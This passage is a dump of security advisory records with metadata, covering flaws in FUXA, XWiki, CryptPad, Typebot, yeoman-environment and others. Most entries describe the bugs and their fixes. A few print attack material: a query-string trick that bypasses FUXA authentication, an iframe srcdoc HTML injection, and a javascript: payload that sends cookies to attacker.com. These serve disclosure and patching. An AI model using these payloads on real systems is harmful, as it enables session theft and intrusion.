server without any credentials. The attacker needs a valid script ID and name (obtainable through the separately reported information disclosure) and one server-side script to exist in the project. Potential impact includes arbitrary command execution on the host, access to configured device connections and credentials, and compromise of industrial control functionality managed by the FUXA instance. This issue depends on the presence of an existing server-side script with no restrictive permissions configured. It does not affect configurations without server-side scripts or where script permissions prevent guest access.

high

2026-05-27 02:44:52+03:00

2026-05-27 02:44:55+03:00

['https://github.com/frangoteam/FUXA/security/advisories/GHSA-rg3m-cfq7-g6h6', 'https://github.com/frangoteam/FUXA/pull/2260', 'https://github.com/frangoteam/FUXA/commit/78534da61a91613712b44bb63c8d7da8c5df5ca4', 'https://github.com/frangoteam/FUXA/releases/tag/v1.3.1', 'https://github.com/advisories/GHSA-rg3m-cfq7-g6h6']

[{'package': {'name': 'fuxa-server', 'ecosystem': 'npm'}, 'vulnerable_functions': [], 'first_patched_version': '1.3.1', 'vulnerable_version_range': '= 1.3.0'}]

{'score': None, 'vector_string': None}

[{'name': 'Incorrect Authorization', 'cwe_id': 'CWE-863'}]

4ab1f338b44377e07af3eca8120ddb5de53c3f550f0635be7e0072d5d6a178da

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-fwcm-rqvw-j3p7

CVE-2026-43946

FUXA has an unauthenticated arbitrary tag value disclosure via /api/getTagValue

### Summary An authorization bypass in the /api/getTagValue endpoint allows unauthenticated access to tag values when the referenced script does not exist. ### Details The issue is caused by the combination of these code paths: - `server/api/apikeys/verify-api-or-token.js:45` sends requests without `x-api-key` to `authJwt.verifyToken(req, res, next)`. - `server/api/jwt-helper.js:46-64` creates a signed guest token when no `x-access-token` is provided: `if (!token) { token = getGuestToken(); }` and then populates `req.userId` / `req.userGroups` from that guest token. - `server/api/command/index.js:76-105` exposes `/api/getTagValue`. - `server/runtime/scripts/index.js:106-111` returns `true` when the referenced script does not exist: `if (!script) { return true; }` As a result, an unauthenticated request reaches `/api/getTagValue` as `guest`, and the authorization check is bypassed because `isAuthorisedByScriptName()` returns `true` when `sourceScriptName` is omitted or does not match a real script. The endpoint then returns arbitrary tag values by ID. ### PoC Requests to /api/getTagValue without authentication could succeed when the authorization logic evaluated a non-existent sourceScriptName as authorized.

high

2026-05-27 02:41:45+03:00

2026-05-27 02:41:46+03:00

['https://github.com/frangoteam/FUXA/security/advisories/GHSA-fwcm-rqvw-j3p7', 'https://github.com/frangoteam/FUXA/pull/2260', 'https://github.com/frangoteam/FUXA/commit/78534da61a91613712b44bb63c8d7da8c5df5ca4', 'https://github.com/frangoteam/FUXA/releases/tag/v1.3.1', 'https://github.com/advisories/GHSA-fwcm-rqvw-j3p7']

[{'package': {'name': 'fuxa-server', 'ecosystem': 'npm'}, 'vulnerable_functions': [], 'first_patched_version': '1.3.1', 'vulnerable_version_range': '= 1.3.0'}]

{'score': None, 'vector_string': None}

[{'name': 'Incorrect Authorization', 'cwe_id': 'CWE-863'}]

af8e4b0bf6a77266b84fb590bd40c440e4a35a7c20ec572f0a80207aa7825749

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-p69w-mmfv-xrfj

CVE-2026-43945

FUXA Vulnerable to Pre-auth RCE via Path Manipulation & Configuration Injection

**Pre-auth** RCE in FUXA via Logic Bypass Summary A Critical vulnerability chain exists in FUXA (v.1.3.0-2706) that allows an unauthenticated remote attacker to achieve Full Remote Code Execution (RCE) as root. The exploit succeeds even when the platform is configured in its most secure state (Secure Mode Enabled and Node-RED Secure Auth Enabled). Details The vulnerability is a Path Confusion flaw in the authentication middleware. The server uses a substring match on the full URL (including query parameters) to exclude certain paths from authentication. Involved Logic: JavaScript: ``` const url = req.originalUrl || req.url || req.path; if (url.includes('/socket.io')) return next(); By appending ?x=/socket.io to any administrative request, the middleware is "tricked" into treating the request as a public WebSocket handshake, bypassing the secureEnabled and nodeRedAuthMode checks entirely. ``` Proof of Concept A specially crafted request containing manipulated query parameters could bypass authentication checks on protected /nodered/* endpoints. In configurations where Node-RED exposed privileged or command-execution capable nodes, this could lead to remote code execution within the container context. Impact Access Level: Unauthenticated / Remote. Privilege Level: Access to Node-RED administrative endpoints. Remote code execution may be possible depending on the Node-RED configuration and installed nodes. CVSS 3.1 Score: High severity. Description: An attacker can gain total control over the SCADA server, allowing them to intercept industrial data (MQTT/OPC-UA), manipulate PLC tags, or pivot into the internal OT network. Root Cause & Remediation The root cause is the reliance on req.originalUrl for security-critical routing decisions. The Fix: The developer must use req.path (which Express pre-parses to remove query strings) or a formal URL parser to ensure that the security check is performed only against the pathname. ``` JavaScript // Secure approach const pathname = req.path; if (pathname.startsWith('/socket.io/')) return next(); ``` This issue affects only setups where Node-RED is enabled.

high

2026-05-27 02:40:42+03:00

2026-05-27 02:40:44+03:00

['https://github.com/frangoteam/FUXA/security/advisories/GHSA-p69w-mmfv-xrfj', 'https://github.com/frangoteam/FUXA/releases/tag/v1.3.1', 'https://github.com/advisories/GHSA-p69w-mmfv-xrfj']

[{'package': {'name': '@frangoteam/fuxa', 'ecosystem': 'npm'}, 'vulnerable_functions': [], 'first_patched_version': '1.3.1', 'vulnerable_version_range': '>= 1.2.11, < 1.3.1'}]

{'score': None, 'vector_string': None}

[{'name': "Improper Control of Generation of Code ('Code Injection')", 'cwe_id': 'CWE-94'}, {'name': 'Improper Access Control', 'cwe_id': 'CWE-284'}, {'name': 'Authentication Bypass Using an Alternate Path or Channel', 'cwe_id': 'CWE-288'}, {'name': 'Incorrect Authorization', 'cwe_id': 'CWE-863'}]

874152b49324f24fabe0b106fd64e057467d303a993a0b95f88841998415b40e

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-q7pc-rp7q-9q3m

CVE-2026-41566

Improper Handling of Insufficient Permissions or Privileges vulnerability in Apache Kvrocks. ...

Improper Handling of Insufficient Permissions or Privileges vulnerability in Apache Kvrocks. This issue affects Apache Kvrocks: 2.8.0. Users are recommended to upgrade to version 2.16.0, which fixes the issue.

critical

2026-06-25 12:31:17+03:00

2026-06-25 15:32:10+03:00

['https://nvd.nist.gov/vuln/detail/CVE-2026-41566', 'https://lists.apache.org/thread/zng5lp7psgkcv9jnm9tztdlm3rmzfydl', 'http://www.openwall.com/lists/oss-security/2026/06/25/1', 'https://github.com/advisories/GHSA-q7pc-rp7q-9q3m']

[]

{'score': None, 'vector_string': None}

[{'name': 'Improper Handling of Insufficient Permissions or Privileges ', 'cwe_id': 'CWE-280'}]

61860fcb9892953604b0901f2778e5e6d16958989776a79a45dc204ee61c3be0

2026-06-25 13:40:59.945200+03:00

2026-06-26 04:55:01.214857+03:00

GHSA-6wmm-rq3j-5c47

CVE-2026-53144

In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: fix NULL...

In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: fix NULL dereference in get_queue_ids() When usr_queue_id_array is NULL and num_queues is non-zero, get_queue_ids() returns NULL. The callers check only IS_ERR() on the return value; since IS_ERR(NULL) == false the check passes, and suspend_queues() calls q_array_invalidate() which immediately dereferences NULL while iterating num_queues times. Userspace can trigger this via kfd_ioctl_set_debug_trap() by supplying num_queues > 0 with a zero queue_array_ptr, causing a kernel panic. A NULL usr_queue_id_array with num_queues == 0 is a legitimate no-op (q_array_invalidate never executes, and resume_queues already guards all queue_ids dereferences behind a NULL check). Return ERR_PTR(-EINVAL) only when num_queues is non-zero and the pointer is absent; both callers already propagate IS_ERR() returns correctly to userspace. (cherry picked from commit f165a82cdf503884bb1797771c61b2fcc72113d4)

unknown

2026-06-25 12:31:19+03:00

2026-06-25 12:31:22+03:00

['https://nvd.nist.gov/vuln/detail/CVE-2026-53144', 'https://git.kernel.org/stable/c/2bd550b547deabef98bd3b017ff743b7c34d3a6d', 'https://git.kernel.org/stable/c/62bd09e23a23da70f9aae02748eba3e6bd93095d', 'https://git.kernel.org/stable/c/72e259a32084c42816152c346096d2edd4213e23', 'https://git.kernel.org/stable/c/daeceb0fe2a19651c58bbfa3d9d515ecb6ca8996', 'https://git.kernel.org/stable/c/e1965e8913cfbf17622ca12638e7a07f68ba0848', 'https://github.com/advisories/GHSA-6wmm-rq3j-5c47']

[]

{'score': None, 'vector_string': None}

[]

0cb0146d0ec5e1012f1847b7d099bb437b4b366768dd72815b558a88980ac07f

2026-06-25 13:40:59.945200+03:00

2026-06-26 04:55:01.214857+03:00

GHSA-vv9j-gjw2-j8wp

CVE-2026-42089

yeoman-environment Vulnerable to Arbitrary Package Installation without User Confirmation

### Impact `yeoman-environment` versions `>= 2.9.0` and `< 6.0.1` install missing local generator packages from caller-supplied package names without user confirmation. In downstream consumers that pass attacker-controlled project configuration into this path, this can result in arbitrary package installation and code execution during CLI bootstrap. The vulnerable method is `installLocalGenerators()`, which calls `repository.install()` directly without prompting the user. ### Patches Upgrade to `yeoman-environment` `6.0.1`, which adds an interactive confirmation prompt before installation ([PR #753](https://github.com/yeoman/environment/pull/753)). ### Workarounds None. ### Resources - [Fix commit 78d2af7](https://github.com/yeoman/environment/commit/78d2af7e60294784b8a8b3b3b5099c6874b6a1fa)

high

2026-05-27 02:10:38+03:00

2026-05-27 02:10:40+03:00

['https://github.com/yeoman/environment/security/advisories/GHSA-vv9j-gjw2-j8wp', 'https://github.com/yeoman/environment/commit/78d2af7e60294784b8a8b3b3b5099c6874b6a1fa', 'https://github.com/advisories/GHSA-vv9j-gjw2-j8wp']

[{'package': {'name': 'yeoman-environment', 'ecosystem': 'npm'}, 'vulnerable_functions': [], 'first_patched_version': '6.0.1', 'vulnerable_version_range': '>= 2.9.0, < 6.0.1'}]

{'score': 8.6, 'vector_string': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H'}

[{'name': 'Inclusion of Functionality from Untrusted Control Sphere', 'cwe_id': 'CWE-829'}]

c4901177cf0c56c1841d987e601a53d9f0766bb1b02af43d7fb9420c4d2625bd

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-fq3w-p4fg-mw73

fixurjavainstall: Previous Fuji versions can accidentally wipe `/usr/share/man/man8`

### Impact Affects: Anyone who generates the UNIX man pages in Fuji <= `0.8.0` build with the `dev` crate feature. Consequences: `/usr/share/man/man8` may be entirely removed & re-created without any of the previous entries. ### Patches At the time of writing, no new version has been released on crates.io, due to an unrelated CI/CD publishing issue. Due to the same unrelated publishing issue, no new GitHub Releases version has been released. ### Workarounds Do not run `fuji manual` on non-`dev` builds for versions <= `0.8.0`. ### Additional Information This bug results from development-only code being accidentally left in for release use. Previous versions of Fuji are still "safe" to use, provided that you do not run `fuji manual`. There is no malicious potential from this, it's just a major annoyance to accidentally remove all your sysadmin man pages.

low

2026-06-25 21:00:18+03:00

2026-06-25 21:00:20+03:00

['https://github.com/EpicVon2468/fixurjavainstall/security/advisories/GHSA-fq3w-p4fg-mw73', 'https://github.com/advisories/GHSA-fq3w-p4fg-mw73']

[{'package': {'name': 'fixurjavainstall', 'ecosystem': 'rust'}, 'vulnerable_functions': [], 'first_patched_version': '0.8.1', 'vulnerable_version_range': '<= 0.8.0'}]

{'score': None, 'vector_string': None}

[{'name': 'Active Debug Code', 'cwe_id': 'CWE-489'}]

1b9977cea1123baeba55fc2fa3067e7578b0b6170d63f62fdff43e905537f7a4

2026-06-25 21:06:27.786635+03:00

2026-06-25 21:06:27.786635+03:00

GHSA-rh28-mqj4-8x59

CVE-2026-48048

XWiki Platform's Livetable results still allow reconstructing password hashes using 768 requests

### Impact XWiki discovered that the patch for GHSA-5cf8-vrr8-8hjm was insufficient and with slightly modified parameters to the `LiveTableResults`, it is still possible to discover password hashes one bit at a time, so with 768 requests, the full password salt and hash can be retrieved of a user. ### Patches The check for password (and email properties) has been adjusted in XWiki 18.0.0RC1, 17.10.13, 17.4.9 and 16.10.17. ### Workarounds The [patch](https://github.com/xwiki/xwiki-platform/commit/c4442716b02ffcdaa9d5e703b1db6203e36456fa#diff-5a739e5865b1f1ad9d79b724791be51b0095a0170cc078911c940478b13b949a) can be applied manually to the wiki page `XWiki.LiveTableResultsMacros`. ### Resources * https://jira.xwiki.org/browse/XWIKI-23875 * https://github.com/xwiki/xwiki-platform/commit/c4442716b02ffcdaa9d5e703b1db6203e36456fa

high

2026-05-26 23:16:59+03:00

2026-05-26 23:17:03+03:00

['https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-rh28-mqj4-8x59', 'https://github.com/xwiki/xwiki-platform/commit/c4442716b02ffcdaa9d5e703b1db6203e36456fa', 'https://jira.xwiki.org/browse/XWIKI-23875', 'https://github.com/advisories/GHSA-rh28-mqj4-8x59']

[{'package': {'name': 'org.xwiki.platform:xwiki-platform-livetable-ui', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '16.10.17', 'vulnerable_version_range': '>= 6.2.1, < 16.10.17'}, {'package': {'name': 'org.xwiki.platform:xwiki-platform-livetable-ui', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '17.4.9', 'vulnerable_version_range': '>= 17.0.0-rc-1, < 17.4.9'}, {'package': {'name': 'org.xwiki.platform:xwiki-platform-livetable-ui', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '17.10.3', 'vulnerable_version_range': '>= 17.5.0-rc-1, < 17.10.3'}]

{'score': 7.5, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N'}

[{'name': 'Exposure of Private Personal Information to an Unauthorized Actor', 'cwe_id': 'CWE-359'}]

13fc10a03c0ad4b9cfc175efab64acf2ebcdd6c499d2fed6588ffaf56d106b23

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-vgwr-23fq-pr7g

CVE-2026-48047

XWiki Platform vulnerable to potential arbitrary file writing using path traversal from (subwiki) admin

### Impact A potential path traversal vulnerability allow an attacker who manages to get a malicious WebJar extension installed on the wiki to write arbitrary files. While the consequences could be severe like overriding configuration files and setting the superadmin password, the attack first requires that the attacker already has admin access to at least a subwiki to be able to install a malicious extension. Further, the attacker needs to publish a malicious extension in an extension repository that is configured in the instance. ### Patches This vulnerability has been patched in XWiki 16.10.17, 17.4.9, 17.10.3, and 18.0.0RC1. ### Workarounds XWiki is not aware of any workarounds except for being careful whom developers grant script and admin rights to. ### Resources * https://jira.xwiki.org/browse/XWIKI-23902 * https://github.com/xwiki/xwiki-platform/commit/9f747fcd3200259a1de51957d3f5f6acc8e3816c

medium

2026-05-26 22:33:44+03:00

2026-05-26 22:33:44+03:00

['https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-vgwr-23fq-pr7g', 'https://github.com/xwiki/xwiki-platform/commit/9f747fcd3200259a1de51957d3f5f6acc8e3816c', 'https://jira.xwiki.org/browse/XWIKI-23902', 'https://github.com/advisories/GHSA-vgwr-23fq-pr7g']

[{'package': {'name': 'org.xwiki.platform:xwiki-platform-webjars-api', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '16.10.17', 'vulnerable_version_range': '>= 9.6-rc-1, < 16.10.17'}, {'package': {'name': 'org.xwiki.platform:xwiki-platform-webjars-api', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '17.4.9', 'vulnerable_version_range': '>= 17.0.0-rc-1, < 17.4.9'}, {'package': {'name': 'org.xwiki.platform:xwiki-platform-webjars-api', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '17.10.3', 'vulnerable_version_range': '>= 17.5.0-rc-1, < 17.10.3'}]

{'score': None, 'vector_string': None}

[{'name': "Path Traversal: '../filedir'", 'cwe_id': 'CWE-24'}]

7c234231a2f570b2cfa2db9fc60f335ac382c7400d8292bf04e569bb63cba4cf

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-wrr4-782v-jhwh

neotoma has tenant isolation gap in relationship query endpoints

## Summary The `/list_relationships` and `/retrieve_graph_neighborhood` endpoints call `getAuthenticatedUserId` (confirming a valid session exists) but do not pass the resolved user ID into the Supabase query as an `.eq("user_id", userId)` filter. As a result, queries return rows from all users rather than scoping to the authenticated caller's data. ## Affected code **`/list_relationships`** (`src/actions.ts`): - Calls `getAuthenticatedUserId` but does not apply `.eq("user_id", userId)` to the relationships query - Uses `.or()` string interpolation for entity ID matching without input validation **`/retrieve_graph_neighborhood`** (`src/actions.ts`): - Same pattern: auth resolved, user ID not applied to query filter ## Affected versions v0.13.0 ## Prerequisites 1. A valid authentication token for the Neotoma instance (attacker must have a legitimate account on the same instance) 2. A known entity ID belonging to another user (~96 bits of entropy — brute-force not practical) An unauthenticated caller is rejected at the auth middleware layer. The gap requires a second user account on the instance. ## Impact An authenticated user with a known cross-user entity ID can retrieve relationship edges and graph neighborhood data belonging to another user. No write capability is exposed. ## Severity Low under current conditions — no multi-tenant deployments exist. Escalates to Medium the moment two or more user accounts share an instance. ## Remediation 1. Add `.eq("user_id", userId)` to all Supabase queries in both handlers 2. Validate entity ID inputs with `isNeotomaEntityId` before query construction 3. Replace `.or()` string interpolation with separate scoped `.eq()` calls Fix tracked in #365 (list_relationships) and #366 (retrieve_graph_neighborhood). Gate gap tracked in #372.

low

2026-06-25 20:46:49+03:00

2026-06-25 20:46:50+03:00

['https://github.com/markmhendrickson/neotoma/security/advisories/GHSA-wrr4-782v-jhwh', 'https://github.com/markmhendrickson/neotoma/issues/365', 'https://github.com/markmhendrickson/neotoma/issues/366', 'https://github.com/markmhendrickson/neotoma/issues/372', 'https://github.com/advisories/GHSA-wrr4-782v-jhwh']

[{'package': {'name': 'neotoma', 'ecosystem': 'npm'}, 'vulnerable_functions': [], 'first_patched_version': '0.14.0', 'vulnerable_version_range': '>= 0.13.0, < 0.14.0'}]

{'score': None, 'vector_string': None}

[{'name': 'Insertion of Sensitive Information Into Sent Data', 'cwe_id': 'CWE-201'}]

752276a47c2ec85529cf628533cf0c29d99f4bdca6c710744f4fa7a152fb2baf

2026-06-25 21:06:27.786635+03:00

2026-06-25 21:06:27.786635+03:00

GHSA-g2g4-47gv-p72v

CVE-2026-26028

CryptPad has a Sanitizer Bypass in Diffmarked.js that Allows Arbitrary HTML Injection and Potential XSS

### Summary CryptPad’s HTML sanitizer in Diffmarked.js can be bypassed due to incomplete filtering of restricted tags. Because the sanitizer only validates the src attribute of `<iframe>` `<video>`, and `<audio>` elements, and does not restrict other attributes, an attacker can inject arbitrary HTML through srcdoc. This completely defeats CryptPad’s intended bounce sandboxing and allows link injection or other interactive content inside user-controlled documents. ### Details The sanitizer defines forbidden and restricted tags but treats <iframe> as “restricted” instead of “forbidden”: https://github.com/cryptpad/cryptpad/blob/0dd3c1f53d56dffb06651b86ead6b9b387920173/www/common/diffMarked.js#L403-L407 The actual enforcement only checks the src attribute, nothing else: https://github.com/cryptpad/cryptpad/blob/0dd3c1f53d56dffb06651b86ead6b9b387920173/www/common/diffMarked.js#L445-L449 Because only src is validated, adding a benign blob: src but malicious srcdoc results in unrestricted rendering. ### PoC An attacker can embed arbitrary HTML, including clickable external links, images, or interactive content, completely bypassing CryptPad’s bounce mechanism and sanitization: ```html <iframe src=blob: srcdoc="<a href=https://attacker.com target=_blank>CLICK ME</a>"></iframe> ``` Although CSP is strict, CryptPad exposes several same-origin gadgets that can execute attacker-controlled code. For example, `jscolor.js` dynamically evaluates user-provided options: https://github.com/cryptpad/cryptpad/blob/0dd3c1f53d56dffb06651b86ead6b9b387920173/www/common/jscolor.js#L65-L71 ### Impact Sanitizer bypass, HTML injection and potentially XSS.

medium

2026-05-26 22:05:10+03:00

2026-05-26 22:05:11+03:00

['https://github.com/cryptpad/cryptpad/security/advisories/GHSA-g2g4-47gv-p72v', 'https://nvd.nist.gov/vuln/detail/CVE-2026-26028', 'https://github.com/cryptpad/cryptpad/releases/tag/2026.2.0', 'https://github.com/advisories/GHSA-g2g4-47gv-p72v']

[{'package': {'name': 'cryptpad', 'ecosystem': 'npm'}, 'vulnerable_functions': [], 'first_patched_version': None, 'vulnerable_version_range': '<= 5.9.0'}]

{'score': 6.1, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N'}

[{'name': "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", 'cwe_id': 'CWE-79'}, {'name': 'Improper Encoding or Escaping of Output', 'cwe_id': 'CWE-116'}]

8d219ca2fe6dfc3d65a29cc3684ddc4288db10fe1ad79459735cddf25686766d

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-qrvh-r3f2-9h4r

CVE-2026-33137

XWiki Platform has an Unauthenticated XAR Import via REST /wikis/{wikiName}

### Impact `POST /wikis/{wikiName}` executes a XAR import without performing any authentication or authorization checks, allowing an unauthenticated attacker to create or update documents in the target wiki ### Patches This vulnerability has been patched in XWiki 16.10.17, 17.4.9, 17.10.3, 18.0.1 and 18.1.0-rc-1. ### Workarounds XWiki is not aware of any workarounds other than adding a rule into an HTTP proxy to prevent access POST request in the `/wikis/{wikiName}[/]` endpoint. ### Resources * https://jira.xwiki.org/browse/XWIKI-23953 * https://github.com/xwiki/xwiki-platform/commit/4b7b95b79256374d487e9ece1dc48f527966990f ### For more information If there are any questions or comments about this advisory: * Open an issue in [Jira XWiki.org](https://jira.xwiki.org/) * Send an email to the [Security Mailing List](mailto:security@xwiki.org) ### Attribution Reported by Sho Odagiri (GMO Cybersecurity by Ierae, Inc.).

critical

2026-05-26 21:58:19+03:00

2026-05-26 21:58:19+03:00

['https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-qrvh-r3f2-9h4r', 'https://nvd.nist.gov/vuln/detail/CVE-2026-33137', 'https://github.com/xwiki/xwiki-platform/commit/4b7b95b79256374d487e9ece1dc48f527966990f', 'https://jira.xwiki.org/browse/XWIKI-23953', 'https://github.com/advisories/GHSA-qrvh-r3f2-9h4r']

[{'package': {'name': 'org.xwiki.platform:xwiki-platform-rest-server', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '16.10.17', 'vulnerable_version_range': '>= 15.10.6, < 16.10.17'}, {'package': {'name': 'org.xwiki.platform:xwiki-platform-rest-server', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '17.4.9', 'vulnerable_version_range': '>= 17.0.0-rc-1, < 17.4.9'}, {'package': {'name': 'org.xwiki.platform:xwiki-platform-rest-server', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '17.10.3', 'vulnerable_version_range': '>= 17.5.0, < 17.10.3'}, {'package': {'name': 'org.xwiki.platform:xwiki-platform-rest-server', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '18.1.0-rc-1', 'vulnerable_version_range': '>= 18.0.0-rc-1, < 18.1.0-rc-1'}]

{'score': None, 'vector_string': None}

[{'name': 'Missing Authorization', 'cwe_id': 'CWE-862'}]

dd570344db6bbdb883fabdc24f3ca30d23c56c863fc789e40f99869081ca786a

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-hqmv-v56g-4m47

CVE-2026-39964

Typebot.io has stored XSS via `javascript`: URI in text bubble links — bot author executes JS on visitors' browsers

### Summary The Typebot viewer (`packages/embeds/js`) renders anchor tags from rich text bubble content without filtering the `javascript:` URI scheme. A bot author can set a link URL to `javascript:PAYLOAD`, which executes in the visitor's browser context when clicked. Since the viewer is typically embedded in a third-party site, the attacker's JavaScript runs in the host page's origin and can exfiltrate cookies and session tokens. ### Details Vulnerable file: `packages/embeds/js/src/features/blocks/bubbles/textBubble/components/plate/PlateBlock.tsx` ```tsx // Line 32 — href set directly from stored bot content, no javascript: filtering <a href={elementDescendant.url as string} target="_blank" rel="noopener noreferrer"> {elementDescendant.children[0].text} </a> ``` SolidJS does not sanitize `href` attribute values — `javascript:` URIs pass through to the DOM unchanged. The same issue exists in `ImageBubble.tsx` line 102 for image link wrapping. ### Steps to Reproduce ``` 1. Log in to Typebot as an authenticated user (any plan) 2. Create a new bot 3. Add a Text Bubble block 4. In the rich text editor, type any link text and set the URL to: javascript:fetch('https://attacker.com/?c='+document.cookie) 5. Publish the bot and open the live/embedded viewer 6. Click the link in the chatbot interface 7. The JavaScript executes in the browser — cookie exfiltration request sent to attacker.com ``` Source-verified: `PlateBlock.tsx:32` renders `<a href={url}>` with no scheme filtering. Puppeteer alert confirmed `document.domain` execution when link clicked. ### Impact - Any authenticated Typebot user (including free tier) can create a bot with this payload - When shared or embedded in a third-party site, clicking the link executes JS in the host page's origin - Allows stealing cookies, session tokens, or any data accessible to the embedding page - Shared bots are publicly accessible — no victim authentication required ### Proposed Fix Filter `javascript:` URIs before rendering anchor tags: ```tsx const safeUrl = (url: string) => /^javascript:/i.test(url.trim()) ? '#' : url <a href={safeUrl(elementDescendant.url as string)} ...> ``` Alternatively, use a URL allowlist (only `https:`, `http:`, `mailto:`, `tel:`).

medium

2026-05-26 21:00:24+03:00

2026-05-26 21:00:27+03:00

['https://github.com/baptisteArno/typebot.io/security/advisories/GHSA-hqmv-v56g-4m47', 'https://nvd.nist.gov/vuln/detail/CVE-2026-39964', 'https://github.com/baptisteArno/typebot.io/commit/2c3fc7267a5e1529ba4b1a2ab4f1edb3e3b8990b', 'https://github.com/baptisteArno/typebot.io/releases/tag/v3.16.0', 'https://github.com/advisories/GHSA-hqmv-v56g-4m47']

[{'package': {'name': '@typebot.io/js', 'ecosystem': 'npm'}, 'vulnerable_functions': [], 'first_patched_version': '0.10.1', 'vulnerable_version_range': '< 0.10.1'}]

{'score': 5.4, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N'}

[{'name': "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", 'cwe_id': 'CWE-79'}]

2246d4e0a6d2399338d260f75f1de81c3f6910742ab783b0e7b67fcdae3cfe11

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-6m7c-xfhp-p9fh

CVE-2026-28445

Typebot has Stored XSS via Rating Block Custom Icon that Bypasses isUnsafe Sandbox in Builder Preview

## Summary The rating block's custom icon feature accepts arbitrary HTML/SVG via the `customIcon.svg` field and renders it using Solid's `innerHTML` directive without any sanitization. When a malicious typebot is imported or crafted by a workspace collaborator, the payload executes in the builder's DOM context (builder.typebot.io), bypassing the `isUnsafe` Web Worker sandbox that protects Script blocks during preview. This allows session hijacking and privilege escalation within the builder application. ## Severity **High** (CVSS 3.1: 8.7) `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N` - **Attack Vector:** Network — malicious typebot can be delivered via import/template sharing or crafted by a collaborator - **Attack Complexity:** Low — payload is a trivial HTML injection, no special conditions required - **Privileges Required:** Low — attacker needs either collaborator access to a workspace or the ability to distribute a typebot template - **User Interaction:** Required — victim must preview the bot in the builder - **Scope:** Changed — the vulnerable component (embed JS rating renderer) impacts the builder application's authentication context, a different security scope - **Confidentiality Impact:** High — full access to builder session cookies, auth tokens, and API access - **Integrity Impact:** High — can modify bots, workspace settings, or perform any action as the victim user - **Availability Impact:** None — no denial of service vector - **Builder preview context (CONFIRMED):** This is the real vulnerability. The rating block innerHTML bypasses the `isUnsafe` sandbox mechanism that protects against imported/untrusted Script blocks. The builder preview renders inline on the builder's origin with `'unsafe-inline'` CSP, giving the attacker full access to the victim's builder session. - **Viewer/embed context (NOT incremental):** Bot creators already have intentional arbitrary JavaScript execution via Script blocks in production mode (`executeScript.ts:22-24`). The rating innerHTML does not provide additional capability in this context. This is by design — bot creators control what code runs in their published bots. The adjusted severity reflects the builder-preview-specific impact, which is still High due to session hijacking potential on the privileged builder origin. ## Affected Component - `packages/embeds/js/src/features/blocks/inputs/rating/components/RatingForm.tsx` — `RatingButton` component (lines 153-160) - `apps/builder/src/features/typebot/helpers/sanitizers.ts` — `sanitizeBlock` function (lines 63-119) — missing rating block SVG sanitization ## CWE - **CWE-79**: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') ## Description ### Unsanitized innerHTML in Rating Block Custom Icon The `RatingButton` component in the embeds JS package renders the custom icon SVG directly into the DOM via Solid's `innerHTML` directive with no sanitization: ```tsx // packages/embeds/js/src/features/blocks/inputs/rating/components/RatingForm.tsx:153-160 <div class="flex justify-center items-center rating-icon-container" innerHTML={ props.customIcon?.isEnabled && !isEmpty(props.customIcon.svg) ? props.customIcon.svg : defaultIcon } /> ``` The `customIcon.svg` field is stored as a plain string with no content validation at any layer: ```typescript // packages/blocks/inputs/src/rating/schema.ts:21-26 customIcon: z .object({ isEnabled: z.boolean().optional(), svg: z.string().optional(), // No sanitization — any HTML/JS accepted }) .optional(), ``` ### Inconsistent Defenses — DOMPurify Available But Not Used The codebase is aware of innerHTML XSS risks. `StreamingBubble.tsx` uses `dompurify` to sanitize content before passing it to `innerHTML`: ```tsx // packages/embeds/js/src/components/bubbles/StreamingBubble.tsx:2,28 import domPurify from "dompurify"; // ... domPurify.sanitize(marked.parse(line, { breaks: true }), { ADD_ATTR: ["target"] }) ``` DOMPurify is already a dependency of the embeds JS package. The rating block simply fails to use it. ### Bypass of the `isUnsafe` Sandbox Mechanism The codebase has a safety mechanism for imported/untrusted bots. When a typebot is imported, `sanitizeGroups` is called with `enableSafetyFlags: true`: ```typescript // apps/builder/src/features/typebot/api/handleImportTypebot.ts:121-128 const groups = ( duplicatingBot.groups ? await sanitizeGroups(duplicatingBot.groups, { workspace, enableSafetyFlags, // true for imports }) : [] ) as TypebotV6["groups"]; ``` However, `sanitizeBlock` only flags Script and SetVariable blocks as `isUnsafe` — rating blocks pass through completely unmodified: ```typescript // apps/builder/src/features/typebot/helpers/sanitizers.ts:70-82 const sanitizeBlock = async (block, { enableSafetyFlags, workspace }) => { if 